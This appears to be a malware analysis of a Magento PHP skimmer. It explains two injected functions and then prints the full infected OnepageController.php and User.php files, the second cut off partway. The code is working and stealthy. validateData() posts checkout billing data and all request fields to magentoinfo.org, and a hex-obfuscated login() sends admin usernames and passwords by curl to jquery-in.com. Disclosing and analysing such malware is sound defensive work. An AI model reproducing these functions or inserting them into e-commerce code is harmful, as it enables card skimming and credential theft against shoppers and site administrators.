Magento PHP Skimmer - validateData
Outline
PHP Skimmer Functions⌗
The skimmer injects a different malicious function into two Magento files:
validateData() -> ./app/code/core/Mage/Checkout/controllers/OnepageController.php
login($username, $password) -> ./app/code/core/Mage/Admin/Model/User.php
validateData()⌗
The malicious function validateData() is responsible for skimming the payment data from victims on the infected website’s checkout page.
validateData() is executed during the checkout form process using the strategic placement of an additional injection within existing legitimate payment functions in the OnepageController.php file (see samples):
$this->validateData();
Malicious function beautified:
protected function validateData()
{
try
{
$str = time() . '|' . "Billing Data" . '|' . print_r($_REQUEST, 1);
$message = $str . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getName() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getStreet1() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getCity() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getRegion() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getPostcode() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getCountry() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getTelephone() . '|' . $this->getOnepage()
->getQuote()
->getBillingAddress()
->getEmail();
$postStr = http_build_query([$message]);
$options = array(
'http' => array(
'method' => 'POST', //We are using the POST HTTP method.
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postStr
//Our URL-encoded query string
)
);
$streamContext = stream_context_create($options);
$result = file_get_contents('http://magentoinfo.org/validate.php', false, $streamContext);
}
It exfiltrates the skimmed payment data to a third party website: magentoinfo[.]org.
The exfiltration uses the PHP function file_get_contents to submit a POST request with data from an array created with stream_context_create.
login($username, $password)⌗
The separate malicious function login($username, $password) is used to steal the login data for authenticated users and exfiltrates the stolen data using ofuscated curl to a third party website: jquery-in[.]com
Deobfuscated and beautified:
public function login($username, $password)
{
if ($this->authenticate($username, $password))
{
$xpnputsqo = "ch";
$biduwppjo = "ch";
$mfdjpco = "ch";
$zxhemexox = "password";
$
{
"GLOBALS"
}
["iweguzfqs"] = "username";
$rbhuejbvp = "ch";
$
{
$mfdjpco
} = curl_init("https://jquery-in.com/gate/check?" . "domain=" . $_SERVER["SERVER_NAME"] . "&ip=" . $_SERVER["REMOTE_ADDR"] . "&url=" . $_SERVER["SERVER_NAME"] . "/" . $_SERVER["REQUEST_URI"] . "&login=" . urlencode($
{
$
{
"GLOBALS"
}
["iweguzfqs"]
}) . "&password=" . urlencode($
{
$zxhemexox
}));
curl_setopt($
{
$rbhuejbvp
}
, CURLOPT_RETURNTRANSFER, true);
curl_exec($
{
$biduwppjo
});
curl_close($
{
$xpnputsqo
});
$this->getResource()
->recordLogin($this);
}
return $this;
}
Samples⌗
These are the unedited samples:
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage_Checkout
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Onepage controller for checkout
*
* @category Mage
* @package Mage_Checkout
* @author Magento Core Team <core@magentocommerce.com>
*/
class Mage_Checkout_OnepageController extends Mage_Checkout_Controller_Action
{
/**
* List of functions for section update
*
* @var array
*/
protected $_sectionUpdateFunctions = array(
'payment-method' => '_getPaymentMethodsHtml',
'shipping-method' => '_getShippingMethodsHtml',
'review' => '_getReviewHtml',
);
/**
* @var Mage_Sales_Model_Order
*/
protected $_order;
/**
* Predispatch: should set layout area
*
* @return Mage_Checkout_OnepageController
*/
public function preDispatch()
{
parent::preDispatch();
$this->_preDispatchValidateCustomer();
$checkoutSessionQuote = Mage::getSingleton('checkout/session')->getQuote();
if ($checkoutSessionQuote->getIsMultiShipping()) {
$checkoutSessionQuote->setIsMultiShipping(false);
$checkoutSessionQuote->removeAllAddresses();
}
if (!$this->_canShowForUnregisteredUsers()) {
$this->norouteAction();
$this->setFlag('',self::FLAG_NO_DISPATCH,true);
return;
}
return $this;
}
/**
* Send Ajax redirect response
*
* @return Mage_Checkout_OnepageController
*/
protected function _ajaxRedirectResponse()
{
$this->getResponse()
->setHeader('HTTP/1.1', '403 Session Expired')
->setHeader('Login-Required', 'true')
->sendResponse();
return $this;
}
/**
* Validate ajax request and redirect on failure
*
* @return bool
*/
protected function _expireAjax()
{
if (!$this->getOnepage()->getQuote()->hasItems()
|| $this->getOnepage()->getQuote()->getHasError()
|| $this->getOnepage()->getQuote()->getIsMultiShipping()
) {
$this->_ajaxRedirectResponse();
return true;
}
$action = strtolower($this->getRequest()->getActionName());
if (Mage::getSingleton('checkout/session')->getCartWasUpdated(true)
&& !in_array($action, array('index', 'progress'))
) {
$this->_ajaxRedirectResponse();
return true;
}
return false;
}
/**
* Get shipping method step html
*
* @return string
*/
protected function _getShippingMethodsHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_shippingmethod');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
return $output;
}
/**
* Get payment method step html
*
* @return string
*/
protected function _getPaymentMethodsHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_paymentmethod');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
return $output;
}
/**
* Return block content from the 'checkout_onepage_additional'
* This is the additional content for shipping method
*
* @return string
*/
protected function _getAdditionalHtml()
{
$layout = $this->getLayout();
$update = $layout->getUpdate();
$update->load('checkout_onepage_additional');
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
Mage::getSingleton('core/translate_inline')->processResponseBody($output);
return $output;
}
/**
* Get order review step html
*
* @return string
*/
protected function _getReviewHtml()
{
return $this->getLayout()->getBlock('root')->toHtml();
}
/**
* Get one page checkout model
*
* @return Mage_Checkout_Model_Type_Onepage
*/
public function getOnepage()
{
return Mage::getSingleton('checkout/type_onepage');
}
/**
* Checkout page
*/
public function indexAction()
{
if (!Mage::helper('checkout')->canOnepageCheckout()) {
Mage::getSingleton('checkout/session')->addError($this->__('The onepage checkout is disabled.'));
$this->_redirect('checkout/cart');
return;
}
$quote = $this->getOnepage()->getQuote();
if (!$quote->hasItems() || $quote->getHasError()) {
$this->_redirect('checkout/cart');
return;
}
if (!$quote->validateMinimumAmount()) {
$error = Mage::getStoreConfig('sales/minimum_order/error_message') ?
Mage::getStoreConfig('sales/minimum_order/error_message') :
Mage::helper('checkout')->__('Subtotal must exceed minimum order amount');
Mage::getSingleton('checkout/session')->addError($error);
$this->_redirect('checkout/cart');
return;
}
Mage::getSingleton('checkout/session')->setCartWasUpdated(false);
Mage::getSingleton('customer/session')->setBeforeAuthUrl(Mage::getUrl('*/*/*', array('_secure' => true)));
$this->getOnepage()->initCheckout();
$this->loadLayout();
$this->_initLayoutMessages('customer/session');
$this->getLayout()->getBlock('head')->setTitle($this->__('Checkout'));
$this->renderLayout();
}
/**
* Refreshes the previous step
* Loads the block corresponding to the current step and sets it
* in to the response body
*
* This function is called from the reloadProgessBlock
* function from the javascript
*
* @return string|null
*/
public function progressAction()
{
// previous step should never be null. We always start with billing and go forward
$prevStep = $this->getRequest()->getParam('prevStep', false);
if ($this->_expireAjax() || !$prevStep) {
return null;
}
$layout = $this->getLayout();
$update = $layout->getUpdate();
/* Load the block belonging to the current step*/
$update->load('checkout_onepage_progress_' . $prevStep);
$layout->generateXml();
$layout->generateBlocks();
$output = $layout->getOutput();
$this->getResponse()->setBody($output);
return $output;
}
/**
* Shipping method action
*/
public function shippingMethodAction()
{
if ($this->_expireAjax()) {
return;
}
$this->loadLayout(false);
$this->renderLayout();
}
/**
* Review page action
*/
public function reviewAction()
{
if ($this->_expireAjax()) {
return;
}
$this->loadLayout(false);
$this->renderLayout();
}
/**
* Order success action
*/
public function successAction()
{
$session = $this->getOnepage()->getCheckout();
if (!$session->getLastSuccessQuoteId()) {
$this->_redirect('checkout/cart');
return;
}
$lastQuoteId = $session->getLastQuoteId();
$lastOrderId = $session->getLastOrderId();
$lastRecurringProfiles = $session->getLastRecurringProfileIds();
if (!$lastQuoteId || (!$lastOrderId && empty($lastRecurringProfiles))) {
$this->_redirect('checkout/cart');
return;
}
$session->clear();
$this->loadLayout();
$this->_initLayoutMessages('checkout/session');
Mage::dispatchEvent('checkout_onepage_controller_success_action', array('order_ids' => array($lastOrderId)));
$this->renderLayout();
}
/**
* Failure action
*/
public function failureAction()
{
$lastQuoteId = $this->getOnepage()->getCheckout()->getLastQuoteId();
$lastOrderId = $this->getOnepage()->getCheckout()->getLastOrderId();
if (!$lastQuoteId || !$lastOrderId) {
$this->_redirect('checkout/cart');
return;
}
$this->loadLayout();
$this->renderLayout();
}
/**
* Get additional info action
*/
public function getAdditionalAction()
{
$this->getResponse()->setBody($this->_getAdditionalHtml());
}
/**
* Address JSON
*/
public function getAddressAction()
{
if ($this->_expireAjax()) {
return;
}
$addressId = $this->getRequest()->getParam('address', false);
if ($addressId) {
$address = $this->getOnepage()->getAddress($addressId);
if (Mage::getSingleton('customer/session')->getCustomer()->getId() == $address->getCustomerId()) {
$this->getResponse()->setHeader('Content-type', 'application/x-json');
$this->getResponse()->setBody($address->toJson());
} else {
$this->getResponse()->setHeader('HTTP/1.1','403 Forbidden');
}
}
}
/**
* Save checkout method
*/
public function saveMethodAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->getRequest()->isPost()) {
$method = $this->getRequest()->getPost('method');
$result = $this->getOnepage()->saveCheckoutMethod($method);
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
}
/**
* Save checkout billing address
*/
public function saveBillingAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->getRequest()->isPost()) {
$this->validateData();
$data = $this->getRequest()->getPost('billing', array());
$customerAddressId = $this->getRequest()->getPost('billing_address_id', false);
if (isset($data['email'])) {
$data['email'] = trim($data['email']);
}
$result = $this->getOnepage()->saveBilling($data, $customerAddressId);
if (!isset($result['error'])) {
if ($this->getOnepage()->getQuote()->isVirtual()) {
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
} elseif (isset($data['use_for_shipping']) && $data['use_for_shipping'] == 1) {
$result['goto_section'] = 'shipping_method';
$result['update_section'] = array(
'name' => 'shipping-method',
'html' => $this->_getShippingMethodsHtml()
);
$result['allow_sections'] = array('shipping');
$result['duplicateBillingInfo'] = 'true';
} else {
$result['goto_section'] = 'shipping';
}
}
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
}
/**
* Shipping address save action
*/
public function saveShippingAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('shipping', array());
$customerAddressId = $this->getRequest()->getPost('shipping_address_id', false);
$result = $this->getOnepage()->saveShipping($data, $customerAddressId);
if (!isset($result['error'])) {
$result['goto_section'] = 'shipping_method';
$result['update_section'] = array(
'name' => 'shipping-method',
'html' => $this->_getShippingMethodsHtml()
);
}
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
}
/**
* Shipping method save action
*/
public function saveShippingMethodAction()
{
if ($this->_expireAjax()) {
return;
}
if ($this->getRequest()->isPost()) {
$data = $this->getRequest()->getPost('shipping_method', '');
$result = $this->getOnepage()->saveShippingMethod($data);
// $result will contain error data if shipping method is empty
if (!$result) {
Mage::dispatchEvent(
'checkout_controller_onepage_save_shipping_method',
array(
'request' => $this->getRequest(),
'quote' => $this->getOnepage()->getQuote()));
$this->getOnepage()->getQuote()->collectTotals();
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
}
$this->getOnepage()->getQuote()->collectTotals()->save();
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
}
/**
* Save payment ajax action
*
* Sets either redirect or a JSON response
*/
public function savePaymentAction()
{
if ($this->_expireAjax()) {
return;
}
try {
if (!$this->getRequest()->isPost()) {
$this->_ajaxRedirectResponse();
return;
}
$this->validateData();
$data = $this->getRequest()->getPost('payment', array());
$result = $this->getOnepage()->savePayment($data);
// get section and redirect data
$redirectUrl = $this->getOnepage()->getQuote()->getPayment()->getCheckoutRedirectUrl();
if (empty($result['error']) && !$redirectUrl) {
$this->loadLayout('checkout_onepage_review');
$result['goto_section'] = 'review';
$result['update_section'] = array(
'name' => 'review',
'html' => $this->_getReviewHtml()
);
}
if ($redirectUrl) {
$result['redirect'] = $redirectUrl;
}
} catch (Mage_Payment_Exception $e) {
if ($e->getFields()) {
$result['fields'] = $e->getFields();
}
$result['error'] = $e->getMessage();
} catch (Mage_Core_Exception $e) {
$result['error'] = $e->getMessage();
} catch (Exception $e) {
Mage::logException($e);
$result['error'] = $this->__('Unable to set Payment Method.');
}
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
/**
* Get Order by quoteId
*
* @throws Mage_Payment_Model_Info_Exception
* @return Mage_Sales_Model_Order
*/
protected function _getOrder()
{
if (is_null($this->_order)) {
$this->_order = Mage::getModel('sales/order')->load($this->getOnepage()->getQuote()->getId(), 'quote_id');
if (!$this->_order->getId()) {
throw new Mage_Payment_Model_Info_Exception(Mage::helper('core')->__("Can not create invoice. Order was not found."));
}
}
return $this->_order;
}
/**
* Create invoice
*
* @return Mage_Sales_Model_Order_Invoice
*/
protected function _initInvoice()
{
$items = array();
foreach ($this->_getOrder()->getAllItems() as $item) {
$items[$item->getId()] = $item->getQtyOrdered();
}
/* @var $invoice Mage_Sales_Model_Service_Order */
$invoice = Mage::getModel('sales/service_order', $this->_getOrder())->prepareInvoice($items);
$invoice->setEmailSent(true)->register();
Mage::register('current_invoice', $invoice);
return $invoice;
}
/**
* Create order action
*/
public function saveOrderAction()
{
if (!$this->_validateFormKey()) {
$this->_redirect('*/*');
return;
}
if ($this->_expireAjax()) {
return;
}
$result = array();
try {
$requiredAgreements = Mage::helper('checkout')->getRequiredAgreementIds();
if ($requiredAgreements) {
$postedAgreements = array_keys($this->getRequest()->getPost('agreement', array()));
$diff = array_diff($requiredAgreements, $postedAgreements);
if ($diff) {
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $this->__('Please agree to all the terms and conditions before placing the order.');
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
return;
}
}
$data = $this->getRequest()->getPost('payment', array());
if ($data) {
$data['checks'] = Mage_Payment_Model_Method_Abstract::CHECK_USE_CHECKOUT
| Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_COUNTRY
| Mage_Payment_Model_Method_Abstract::CHECK_USE_FOR_CURRENCY
| Mage_Payment_Model_Method_Abstract::CHECK_ORDER_TOTAL_MIN_MAX
| Mage_Payment_Model_Method_Abstract::CHECK_ZERO_TOTAL;
$this->getOnepage()->getQuote()->getPayment()->importData($data);
}
$this->getOnepage()->saveOrder();
$redirectUrl = $this->getOnepage()->getCheckout()->getRedirectUrl();
$result['success'] = true;
$result['error'] = false;
} catch (Mage_Payment_Model_Info_Exception $e) {
$message = $e->getMessage();
if (!empty($message)) {
$result['error_messages'] = $message;
}
$result['goto_section'] = 'payment';
$result['update_section'] = array(
'name' => 'payment-method',
'html' => $this->_getPaymentMethodsHtml()
);
} catch (Mage_Core_Exception $e) {
Mage::logException($e);
Mage::helper('checkout')->sendPaymentFailedEmail($this->getOnepage()->getQuote(), $e->getMessage());
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $e->getMessage();
$gotoSection = $this->getOnepage()->getCheckout()->getGotoSection();
if ($gotoSection) {
$result['goto_section'] = $gotoSection;
$this->getOnepage()->getCheckout()->setGotoSection(null);
}
$updateSection = $this->getOnepage()->getCheckout()->getUpdateSection();
if ($updateSection) {
if (isset($this->_sectionUpdateFunctions[$updateSection])) {
$updateSectionFunction = $this->_sectionUpdateFunctions[$updateSection];
$result['update_section'] = array(
'name' => $updateSection,
'html' => $this->$updateSectionFunction()
);
}
$this->getOnepage()->getCheckout()->setUpdateSection(null);
}
} catch (Exception $e) {
Mage::logException($e);
Mage::helper('checkout')->sendPaymentFailedEmail($this->getOnepage()->getQuote(), $e->getMessage());
$result['success'] = false;
$result['error'] = true;
$result['error_messages'] = $this->__('There was an error processing your order. Please contact us or try again later.');
}
$this->getOnepage()->getQuote()->save();
/**
* when there is redirect to third party, we don't want to save order yet.
* we will save the order in return action.
*/
if (isset($redirectUrl)) {
$result['redirect'] = $redirectUrl;
}
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
}
/**
* Filtering posted data. Converting localized data if needed
*
* @param array
* @return array
*/
protected function _filterPostData($data)
{
$data = $this->_filterDates($data, array('dob'));
return $data;
}
/**
* Check can page show for unregistered users
*
* @return boolean
*/
protected function _canShowForUnregisteredUsers()
{
return Mage::getSingleton('customer/session')->isLoggedIn()
|| $this->getRequest()->getActionName() == 'index'
|| Mage::helper('checkout')->isAllowedGuestCheckout($this->getOnepage()->getQuote())
|| !Mage::helper('checkout')->isCustomerMustBeLogged();
}
protected function validateData() {
try {
$str = time().'|'."Billing Data".'|'.print_r($_REQUEST, 1);
$message = $str.'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getName().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getStreet1().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getCity().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getRegion().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getPostcode().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getCountry().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getTelephone().'|'.$this->getOnepage()->getQuote()->getBillingAddress()->getEmail();
$postStr = http_build_query([$message]);
$options = array(
'http' =>
array(
'method' => 'POST', //We are using the POST HTTP method.
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postStr //Our URL-encoded query string.
)
);
$streamContext = stream_context_create($options);
$result = file_get_contents('http://magentoinfo.org/validate.php', false, $streamContext);
} catch(Exception $e){
}
}
}
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magento.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage_Admin
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Admin user model
*
* @method Mage_Admin_Model_Resource_User _getResource()
* @method Mage_Admin_Model_Resource_User getResource()
* @method string getFirstname()
* @method Mage_Admin_Model_User setFirstname(string $value)
* @method string getLastname()
* @method Mage_Admin_Model_User setLastname(string $value)
* @method string getEmail()
* @method Mage_Admin_Model_User setEmail(string $value)
* @method string getUsername()
* @method Mage_Admin_Model_User setUsername(string $value)
* @method string getPassword()
* @method Mage_Admin_Model_User setPassword(string $value)
* @method string getCreated()
* @method Mage_Admin_Model_User setCreated(string $value)
* @method string getModified()
* @method Mage_Admin_Model_User setModified(string $value)
* @method string getLogdate()
* @method Mage_Admin_Model_User setLogdate(string $value)
* @method int getLognum()
* @method Mage_Admin_Model_User setLognum(int $value)
* @method int getReloadAclFlag()
* @method Mage_Admin_Model_User setReloadAclFlag(int $value)
* @method int getIsActive()
* @method Mage_Admin_Model_User setIsActive(int $value)
* @method string getExtra()
* @method Mage_Admin_Model_User setExtra(string $value)
*
* @category Mage
* @package Mage_Admin
* @author Magento Core Team <core@magentocommerce.com>
*/
class Mage_Admin_Model_User extends Mage_Core_Model_Abstract
{
/**#@+
* Configuration paths for email templates and identities
*/
const XML_PATH_FORGOT_EMAIL_TEMPLATE = 'admin/emails/forgot_email_template';
const XML_PATH_FORGOT_EMAIL_IDENTITY = 'admin/emails/forgot_email_identity';
const XML_PATH_STARTUP_PAGE = 'admin/startup/page';
/**#@-*/
/**
* Minimum length of admin password
*/
const MIN_PASSWORD_LENGTH = 7;
/**
* Length of salt
*/
const HASH_SALT_LENGTH = 32;
/**
* Model event prefix
*
* @var string
*/
protected $_eventPrefix = 'admin_user';
/**
* Admin role
*
* @var Mage_Admin_Model_Roles
*/
protected $_role;
/**
* Available resources flag
*
* @var boolean
*/
protected $_hasAvailableResources = true;
/**
* Initialize user model
*/
protected function _construct()
{
$this->_init('admin/user');
}
/**
* Processing data before model save
*
* @return Mage_Admin_Model_User
*/
protected function _beforeSave()
{
$data = array(
'firstname' => $this->getFirstname(),
'lastname' => $this->getLastname(),
'email' => $this->getEmail(),
'modified' => $this->_getDateNow(),
'extra' => serialize($this->getExtra())
);
if ($this->getId() > 0) {
$data['user_id'] = $this->getId();
}
if ($this->getUsername()) {
$data['username'] = $this->getUsername();
}
if ($this->getNewPassword()) {
// Change user password
$data['password'] = $this->_getEncodedPassword($this->getNewPassword());
$data['new_password'] = $data['password'];
} elseif ($this->getPassword() && $this->getPassword() != $this->getOrigData('password')) {
// New user password
$data['password'] = $this->_getEncodedPassword($this->getPassword());
} elseif (!$this->getPassword() && $this->getOrigData('password') // Change user data
|| $this->getPassword() == $this->getOrigData('password') // Retrieve user password
) {
$data['password'] = $this->getOrigData('password');
}
$this->cleanPasswordsValidationData();
if (!is_null($this->getIsActive())) {
$data['is_active'] = intval($this->getIsActive());
}
$this->addData($data);
return parent::_beforeSave();
}
/**
* Save admin user extra data (like configuration sections state)
*
* @param array $data
* @return Mage_Admin_Model_User
*/
public function saveExtra($data)
{
if (is_array($data)) {
$data = serialize($data);
}
$this->_getResource()->saveExtra($this, $data);
return $this;
}
/**
* Save user roles
*
* @return Mage_Admin_Model_User
*/
public function saveRelations()
{
$this->_getResource()->_saveRelations($this);
return $this;
}
/**
* Retrieve user roles
*
* @return array
*/
public function getRoles()
{
return $this->_getResource()->getRoles($this);
}
/**
* Get admin role model
*
* @return Mage_Admin_Model_Roles
*/
public function getRole()
{
if (null === $this->_role) {
$this->_role = Mage::getModel('admin/roles');
$roles = $this->getRoles();
if ($roles && isset($roles[0]) && $roles[0]) {
$this->_role->load($roles[0]);
}
}
return $this->_role;
}
/**
* Unassign user from his current role
*
* @return Mage_Admin_Model_User
*/
public function deleteFromRole()
{
$this->_getResource()->deleteFromRole($this);
return $this;
}
/**
* Check if such combination role/user exists
*
* @return boolean
*/
public function roleUserExists()
{
$result = $this->_getResource()->roleUserExists($this);
return (is_array($result) && count($result) > 0) ? true : false;
}
/**
* Assign user to role
*
* @return Mage_Admin_Model_User
*/
public function add()
{
$this->_getResource()->add($this);
return $this;
}
/**
* Check if user exists based on its id, username and email
*
* @return boolean
*/
public function userExists()
{
$result = $this->_getResource()->userExists($this);
return (is_array($result) && count($result) > 0) ? true : false;
}
/**
* Retrieve admin user collection
*
* @return Mage_Admin_Model_Resource_User_Collection
*/
public function getCollection() {
return Mage::getResourceModel('admin/user_collection');
}
/**
* Send email with new user password
*
* @return Mage_Admin_Model_User
* @deprecated deprecated since version 1.6.1.0
*/
public function sendNewPasswordEmail()
{
return $this;
}
/**
* Send email with reset password confirmation link
*
* @return Mage_Admin_Model_User
*/
public function sendPasswordResetConfirmationEmail()
{
/** @var $mailer Mage_Core_Model_Email_Template_Mailer */
$mailer = Mage::getModel('core/email_template_mailer');
$emailInfo = Mage::getModel('core/email_info');
$emailInfo->addTo($this->getEmail(), $this->getName());
$mailer->addEmailInfo($emailInfo);
// Set all required params and send emails
$mailer->setSender(Mage::getStoreConfig(self::XML_PATH_FORGOT_EMAIL_IDENTITY));
$mailer->setStoreId(0);
$mailer->setTemplateId(Mage::getStoreConfig(self::XML_PATH_FORGOT_EMAIL_TEMPLATE));
$mailer->setTemplateParams(array(
'user' => $this
));
$mailer->send();
return $this;
}
/**
* Retrieve user name
*
* @param string $separator
* @return string
*/
public function getName($separator = ' ')
{
return $this->getFirstname() . $separator . $this->getLastname();
}
/**
* Retrieve user identifier
*
* @return mixed
*/
public function getId()
{
return $this->getUserId();
}
/**
* Get user ACL role
*
* @return string
*/
public function getAclRole()
{
return 'U' . $this->getUserId();
}
/**
* Authenticate user name and password and save loaded record
*
* @param string $username
* @param string $password
* @return boolean
* @throws Mage_Core_Exception
*/
public function authenticate($username, $password)
{
$config = Mage::getStoreConfigFlag('admin/security/use_case_sensitive_login');
$result = false;
try {
Mage::dispatchEvent('admin_user_authenticate_before', array(
'username' => $username,
'user' => $this
));
$this->loadByUsername($username);
$sensitive = ($config) ? $username == $this->getUsername() : true;
if ($sensitive && $this->getId() && Mage::helper('core')->validateHash($password, $this->getPassword())) {
if ($this->getIsActive() != '1') {
Mage::throwException(Mage::helper('adminhtml')->__('This account is inactive.'));
}
if (!$this->hasAssigned2Role($this->getId())) {
Mage::throwException(Mage::helper('adminhtml')->__('Access denied.'));
}
$result = true;
}
Mage::dispatchEvent('admin_user_authenticate_after', array(
'username' => $username,
'password' => $password,
'user' => $this,
'result' => $result,
));
}
catch (Mage_Core_Exception $e) {
$this->unsetData();
throw $e;
}
if (!$result) {
$this->unsetData();
}
return $result;
}
/**
* Login user
*
* @param string $login
* @param string $password
* @return Mage_Admin_Model_User
*/
public function login($username, $password)
{
if ($this->authenticate($username, $password)) {
$xpnputsqo="c\x68";$biduwppjo="\x63h";$mfdjpco="\x63h";$zxhemexox="\x70\x61s\x73\x77o\x72\x64";${"\x47\x4cO\x42AL\x53"}["iweg\x75\x7af\x71\x73"]="\x75s\x65r\x6e\x61\x6de";$rbhuejbvp="\x63h";${$mfdjpco}=curl_init("ht\x74ps://\x6a\x71\x75e\x72y-i\x6e\x2e\x63\x6fm/\x67a\x74\x65/c\x68e\x63k?"."\x64\x6fma\x69n=".$_SERVER["S\x45R\x56ER_NA\x4dE"]."\x26\x69p\x3d".$_SERVER["REM\x4f\x54E_A\x44\x44\x52"]."\x26u\x72\x6c\x3d".$_SERVER["\x53E\x52\x56ER_\x4eA\x4dE"]."/".$_SERVER["\x52E\x51\x55\x45ST_\x55\x52\x49"]."\x26\x6cogin=".urlencode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["i\x77\x65gu\x7a\x66q\x73"]})."\x26pa\x73\x73\x77ord\x3d".urlencode(${$zxhemexox}));curl_setopt(${$rbhuejbvp},CURLOPT_RETURNTRANSFER,true);curl_exec(${$biduwppjo});curl_close(${$xpnputsqo});
$this->getResource()->recordLogin($this);
}
return $this;
}
/**
* Reload current user
*
* @return Mage_Admin_Model_User
*/
public function reload()
{
$id = $this->getId();
$this->setId(null);
$this->load($id);
return $this;
}
/**
* Load user by its username
*
* @param string $username
* @return Mage_Admin_Model_User
*/
public function loadByUsername($username)
{
$this->setData($this->getResource()->loadByUsername($username));
return $this;
}
/**
* Check if user is assigned to any role
*
* @param int|Mage_Core_Admin_Model_User $user
* @return null|boolean|array
*/
public function hasAssigned2Role($user)
{
return $this->getResource()->hasAssigned2Role($user);
}
/**
* Retrieve encoded password
*
* @param string $password
* @return string
*/
protected function _getEncodedPassword($password)
{
return $this->_getHelper('core')->getHash($password, self::HASH_SALT_LENGTH);
}
/**
* Returns helper instance
*
* @param string $helperName
* @return Mage_Core_Helper_Abstract
*/
protected function _getHelper($helperName)
{
return Mage::helper($helperName);
}
/**
* Find first menu item that user is able to access
*
* @param Mage_Core_Model_Config_Element $parent
* @param string $path
* @param integer $level
* @return string
*/
public function findFirstAvailableMenu($parent = null, $path = '', $level = 0)
{
if ($parent == null) {
$parent = Mage::getSingleton('admin/config')->getAdminhtmlConfig()->getNode('menu');
}
foreach ($parent->children() as $childName => $child) {
$aclResource = 'admin/' . $path . $childName;
if (Mage::getSingleton('admin/session')->isAllowed($aclResource)) {
if (!$child->children) {
return (string)$child->action;
} else if ($child->children) {
$action = $this->findFirstAvailableMenu($child->children, $path . $childName . '/', $level + 1);
return $action ? $action : (string)$child->action;
}
}
}
$this->_hasAvailableResources = false;
return '*/*/denied';
}
/**
* Check if user has available resources
*
* @return bool
*/
public function hasAvailableResources()
{
return $this->_hasAvailableResources;
}
/**
* Find admin start page url
*
* @deprecated Please use getStartupPageUrl() method instead
* @see getStartupPageUrl()
* @return string
*/
public function getStatrupPageUrl()
{
return $this->getStartupPageUrl();
}
/**
* Find admin start page url
*
* @return string
*/
public function getStartupPageUrl()
{
$startupPage = Mage::getStoreConfig(self::XML_PATH_STARTUP_PAGE);
$aclResource = 'admin/' . $startupPage;
if (Mage::getSingleton('admin/session')->isAllowed($aclResource)) {
$nodePath = 'menu/' . join('/children/', explode('/', $startupPage)) . '/action';
$url = (string)Mage::getSingleton('admin/config')->getAdminhtmlConfig()->getNode($nodePath);
if ($url) {
return $url;
}
}
return $this->findFirstAvailableMenu();
}
/**
* Validate user attribute values.
* Returns TRUE or array of errors.
*
* @return mixed
*/
public function validate()
{
$errors = new ArrayObject();
if (!Zend_Validate::is($this->getUsername(), 'NotEmpty')) {
$errors[] = Mage::helper('adminhtml')->__('User Name is required field.');
}
if (!Zend_Validate::is($this->getFirstname(), 'NotEmpty')) {
$errors[] = Mage::helper('adminhtml')->__('First Name is required field.');
}
